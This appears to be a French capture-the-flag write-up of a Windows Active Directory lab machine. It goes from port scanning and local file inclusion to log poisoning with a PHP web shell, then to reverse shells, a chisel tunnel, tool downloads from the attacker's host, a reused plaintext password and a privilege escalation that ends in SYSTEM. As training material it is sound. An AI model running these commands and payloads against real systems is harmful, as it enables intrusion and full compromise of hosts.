Nmap scan report for 10.10.11.187
Host is up (0.030s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: g0 Aviation
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-13 20:21:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
HTTP (80)
Nous avons accès à une page web. Tout en bas on aperçoit un nom de domain : flight.htb.
Nous allons énumérer de possible sous-domaine.
Nous ajoutons school à /etc/hosts
En naviguant sur le nouveau site, on remarque rapidement "?view=". Nous allons tenter une LFI.
Accès initial
Nous avons obtenu une réponse pour : http://school.flight.htb/index.php?view=/WINDOWS/system32/drivers/etc/services
Nous pouvons maintenant tester une liste de fichier :
Avec gedit et "find and remplace", nous avons enlevé les "C:"
Nous pouvons maintenant tester dans Burp Suite. Nous capturons la requête, la transférons dans intruder, marquons la position du payload, puis ajointons la liste précemment obtenue.
Nous obtenons une liste de fichier possiblement intéressant. Parmi eux, des fichiers de log... qui notent l'user-agent.
Points particuliers : dans Burp les caractères spéciaux ont automatiquement était converti en URL, nous pouvons enlever cette option. Ici cela a fonctionné, ce qui n'est pas toujours le cas.
Nous allons effectuer une attaque dite de Log Poisoning à l'aide du fichier access.log
Nous avons noté <?php system($_GET['pwn']); ?> dans l'user-agent puis &pwn=ping+10.10.14.19 à la suite du fichier.
Sur notre machine nous avons bien obtenu un retour.
Nous pouvons maintenant essayer d'obtenir un reverse shell.
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.187] 49972
whoami
flight\svc_apache
┌──(kali㉿kali)-[~]
└─$ chisel server --port 8888 --reverse
2024/11/13 11:00:12 server: Reverse tunnelling enabled
2024/11/13 11:00:12 server: Fingerprint NGCqqZxSH2ixsxXz5o3nLxlEPVC9O1R25QpH+/LAHQw=
2024/11/13 11:00:12 server: Listening on http://0.0.0.0:8888
2024/11/13 11:00:54 server: session#1: Client version (1.7.3) differs from server version (1.9.1-0kali1)
2024/11/13 11:00:54 server: session#1: tun: proxy#R:8000=>8000: Listening
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.187] 50038
whoami
flight\svc_apache
PS C:\xampp\htdocs\flight.htb> cd /users/svc_apache
PS C:\users\svc_apache> cd desktop
PS C:\users\svc_apache\desktop> ./chisel.exe client 10.10.14.19:8888 R:8000:127.0.0.1:8000
PS C:\inetpub\development> icacls .
. flight\C.Bum:(OI)(CI)(W)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
PS C:\users\svc_apache\desktop> iwr -uri http://10.10.14.19:80/Tools/RunasCs.exe -Outfile run.exe
./run.exe C.Bum Tikkycoll_431012284 -r 10.10.14.19:1235 cmd
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1235
listening on [any] 1235 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.187] 50104
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
flight\c.bum
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1236
listening on [any] 1236 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.187] 50153
whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.187] 50171
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\users\public\documents>whoami
whoami
nt authority\system